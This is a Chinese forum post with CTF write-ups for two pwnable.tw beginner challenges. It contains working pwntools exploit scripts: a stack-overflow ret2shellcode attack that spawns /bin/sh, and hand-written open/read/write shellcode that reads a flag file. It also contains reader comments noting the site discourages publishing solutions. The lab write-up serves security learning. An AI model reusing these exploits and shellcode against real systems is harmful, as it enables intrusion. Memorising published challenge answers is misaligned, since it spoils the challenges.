首页
社区
课程
招聘
[原创]pwnable.tw入门
2022-4-28 00:29 7155

[原创]pwnable.tw入门

2022-4-28 00:29
7155

pwnable.tw官方不希望暴露题解,所以仅提供两道入门题的题解,供各位大师傅熟悉平台

1.stack

差点不会写

 

一道ret2shellcode的好题,难度大于直接shellcraft,略低于招新赛的code

保护

img

 

啥都没开那就可以考虑shellcode

ida

img

 

发现是32位的两个系统调用,先write然后read,而且write的是esp指向的栈上的内容

 

最后retn 即pop eip jmp

 

首先明确,写只能往栈上写,如果想调用shellcode,那么我们需要劫持retn的地址为栈上存放shellcode的地址。那么就需要泄露栈地址,即把esp存放的位置想办法指向栈上的位置然后write esp

 

我们看看正常执行流碰到retn后栈上的分布,就会发现一件很巧的事情

 

img

 

ret之后,esp就滑向了0xdc->0xe0,如果我们ret 到write的系统调用,不就正好可以打印栈上地址了莫?

 

栈布局啥的就不说了,自己调调就能出

 

就说说shellcode

1
2
3
4
5
6
7
8
9
10
### execve('/bin/sh',0,0)
shellcode='''
xor ecx,ecx;
xor edx,edx;
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp;
mov eax,0xb;
int 0x80;
'''

push的两个字符应该按照‘/bin/sh’的小端字序,即‘\x00hs/'和'nib/’转16进制

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level='debug'
r=process('./start')
gdb.attach(r)
r.sendafter('CTF:','a'*0x14+p32(0x8048087))
stack=u32(r.recv(4))
log.success('stack:'+hex(stack))
### execve('/bin/sh',0,0)
shellcode='''
xor edx,edx;
xor ecx,ecx;
push 0x0068732f;
push 0x6e69622f;
mov ebx,esp;
mov eax,0xb;
int 0x80;
'''
payload='a'*0x14+p32(stack+0x14)+asm(shellcode)
r.send(payload)
r.interactive()

2.orw

一道手写orw系统调用shellcode的裸题

保护

img

ida

img

 

有个沙箱,用seccomp-tools看看干了些啥

 

img

 

发现没有允许execve的系统调用,题目也给了一个文件的目录(hgame貌似用的是相对目录但是前提是当前目录有flag文件),考虑orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
##context.log_level='debug'
r=remote('chall.pwnable.tw',10001)
 
### open('/home/orw/flag',0)
s_open='''
xor ecx,ecx;
mov ebx,0x0804A085;
mov eax,5;
int 0x80
'''
 
### read(3,0x0804A085,0x40)
s_read='''
mov ecx,ebx;
mov edx,0x40
mov ebx,eax;
int 0x80
'''
 
### write(1,0x0804A085,0x40)
s_write='''
mov ebx,1;
mov eax,4;
int 0x80;
'''
 
shellcode=s_open+s_read+s_write
payload=asm(shellcode)+'/home/orw/flag\x00\x00'
##gdb.attach(r)
r.sendafter("Give my your shellcode:",payload)
st=r.recv()
print(st)
r.interactive()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2022-4-28 15:21 被Nameless_a编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (2)
雪    币: 9587
活跃值: (1480)
能力值: ( LV10,RANK:164 )
在线值:
发帖
回帖
粉丝
CrazymanArmy 2 2022-4-28 12:46
2
0
好像pwnable.tw不太希望把解公开
雪    币: 6398
活跃值: (10599)
能力值: ( LV12,RANK:400 )
在线值:
发帖
回帖
粉丝
Nameless_a 5 2022-4-28 13:54
3
0
CrazymanArmy 好像pwnable.tw不太希望把解公开
感谢空白师傅提醒,之前看网上很多题解以为没有问题,那既然违背了官方的意愿的话我还是把帖子匿了吧
游客
登录 | 注册 方可回帖
返回